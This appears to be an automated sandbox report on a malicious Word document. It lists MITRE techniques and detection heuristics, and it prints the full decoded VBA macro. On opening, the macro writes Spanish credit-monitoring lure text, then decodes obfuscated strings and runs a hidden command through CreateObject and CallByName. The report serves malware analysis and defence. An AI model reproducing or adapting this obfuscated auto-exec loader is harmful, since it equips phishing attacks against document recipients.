MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate or Obfuscate Malicious Code
This Office document contains a malicious VBA macro that executes upon opening. The macro displays a deceptive message about credit monitoring and then saves the document. The VBA code is obfuscated, indicating an attempt to hide its malicious functionality, which includes using CreateObject and CallByName, common for executing arbitrary code or downloading payloads. The primary technique observed is the use of obfuscated VBA to manipulate the document content and potentially prepare for further malicious actions.
Heuristics 7
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Public Function NGMysvA() Set NGMysvA = MshWDWQnMOz(CreateObject(CrPWPDkRUKeCkK("-RgdkkVRbqhos"))) End Function -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Public Function NGMysvA() Set NGMysvA = MshWDWQnMOz(CreateObject(CrPWPDkRUKeCkK("-RgdkkVRbqhos"))) End Function -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
WSZoqWGyXM = Mid(TVyRjyb, 2, 2) & Mid(CrPWPDkRUKeCkK("m8k/c7hm2d8"), 3, 1) CallByName NGMysvA, WSZoqWGyXM, 1, ekmMdgpmt, 0 Set MshWDWQnMOz = NGMysvA -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Public Sub Document_Open() Módulo1.AAqS -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3557 bytes |
SHA-256: 4d88ec99797cd12ab3d24db9c34f44a2f75923e933485467ada48969cec71d39 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Módulo1.AAqS
End Sub
Attribute VB_Name = "Módulo1"
Public Sub AAqS()
ActiveDocument.Content.Select
Selection.Delete
Selection.TypeText ("Alertas Buró monitorea tu situación crediticia, te informa y actualiza vía correo electrónico sobre los cambios más importantes que presente tu información, tales como consultas a tu historial, créditos nuevos y eliminados, modificación o alta de domicilio y actualización por regularización o atraso de pago." & vbCrLf)
Dim GnEmtI
GnEmtI = 46
If GnEmtI < 90 Then
End If
Selection.TypeText ("Activa lertas Buró que te ofrece seguridad y protección financiera con los beneficios que te ayudaran a cuidar tu historial de credito." & vbCrLf)
Dim mnaX
mnaX = "sCYo"
Dim lpdzPOVR
lpdzPOVR = 32
ActiveDocument.Save
NGMysvA
End Sub
Private Function vAIM()
EkvJ = CrPWPDkRUKeCkK("@n@Bb@`@A/@GP@b@Ay@Cn@Kv@u@FP@bfA4@GX@YPAx@GL@Y@Au@FL@cPAs@FT@afA/@Fb@bfAo@GP@bvAk@GP@c@Ao@F3@YvAy@B3@XvAu@F/@KvAp@FD@cfAgJ@AN@FT@cv@s@D7@XfAp@FT@XvA/@B@@TvA4@GL@c@Ak@F/@KfAN@FT@c@@t@Eb@YPAh@DL@a@Ao@FT@afA/@Bj@KfAD@F7@cvAt@Fv@avAg@FP@QfAo@Fv@YP")
Dim JdACNcxjZ
JdACNcxjZ = "sTpAOAqANkUE"
Dim oFqt
oFqt = 8
Pkijw = CrPWPDkRUKeCkK("j@NvAS@GP@XPAx@GP@KPAP@GH@avAi@FT@bvAy@B@@J@@h@BP@YPAt@GX@NfAT@DT@SPAP@Ev@PPAj@C@@cfAk@GP@aPAv@Cb@Lv@v@Cj@KfAk@Gf@YP@h@Bj@@GT@b@Aj@FD@c@@y@GL@Lf@v@CD@Mf@t@FT@d@Ak@Bb@K@@h@BP@YPAt@GX@NfAT@DT@SPAP@Ev@PPAj@C@@cfAk@GP@aPAv@Cb@Lv@v@Cj@KfAk@Gf@YP@h@B")
vAIM = EkvJ & Pkijw
Dim hFIxNhSjqxQu
hFIxNhSjqxQu = "AwZjAOtIopBAzx"
Dim itVbjxDjsNLiG
itVbjxDjsNLiG = 12
End Function
Private Function ekmMdgpmt()
Pkijw = CrPWPDkRUKeCkK("dkk ,dwonvdqrg")
TRZw = CrPWPDkRUKeCkK("khbx axodbtshnmon")
Dim mXGWRLWi
mXGWRLWi = 2
If mXGWRLWi < 12 Then
Dim ENWhganlsN
ENWhganlsN = "smvzM"
Dim HGpl
HGpl = 44
End If
aXibXZnA = CrPWPDkRUKeCkK("dmb `rr ,")
Dim urFafB
urFafB = 63
If urFafB < 60 Then
urFafB = urFafB + 94
End If
ekmMdgpmt = Pkijw & TRZw & aXibXZnA & vAIM
Dim EZxZ
EZxZ = 67
If EZxZ < 43 Then
End If
End Function
Public Function NGMysvA()
Set NGMysvA = MshWDWQnMOz(CreateObject(CrPWPDkRUKeCkK("-RgdkkVRbqhos")))
End Function
Public Function MshWDWQnMOz(ByVal NGMysvA As Object)
TVyRjyb = CrPWPDkRUKeCkK("8th7qt")
WSZoqWGyXM = Mid(TVyRjyb, 2, 2) & Mid(CrPWPDkRUKeCkK("m8k/c7hm2d8"), 3, 1)
CallByName NGMysvA, WSZoqWGyXM, 1, ekmMdgpmt, 0
Set MshWDWQnMOz = NGMysvA
End Function
Private Function CrPWPDkRUKeCkK(clPMYtx)
Dim itcK, AFQJXo, bOcuSzJLIKL
bOcuSzJLIKL = Len(clPMYtx)
Dim LdUMYXGxJxBAX
LdUMYXGxJxBAX = 56
If LdUMYXGxJxBAX < 12 Then
LdUMYXGxJxBAX = LdUMYXGxJxBAX + 12
End If
For itcK = 1 To bOcuSzJLIKL
Dim xygSOQM
xygSOQM = "cqejLxd"
Dim ORGSmE
ORGSmE = 71
AFQJXo = AFQJXo & Chr(Asc(Mid(clPMYtx, itcK, 1)) + 1)
Next
clPMYtx = AFQJXo
AFQJXo = ""
Dim wmEaV
wmEaV = 4
If wmEaV < 72 Then
End If
Dim qtUUqCXI
qtUUqCXI = Int(bOcuSzJLIKL / 2)
AFQJXo = AFQJXo & Right(clPMYtx, bOcuSzJLIKL - qtUUqCXI) & EUiadvgmdcxz(clPMYtx, qtUUqCXI)
Dim vDWvtWZPxKlivd
vDWvtWZPxKlivd = "zGwMgxw"
Dim fwjzS
fwjzS = 2
CrPWPDkRUKeCkK = AFQJXo
Dim mCZr
mCZr = "feDyalkDMUxxO"
Dim scoQohXP
scoQohXP = 49
End Function
Private Function EUiadvgmdcxz(eSWbj, JrhGFcUlL)
EUiadvgmdcxz = Left(eSWbj, JrhGFcUlL)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.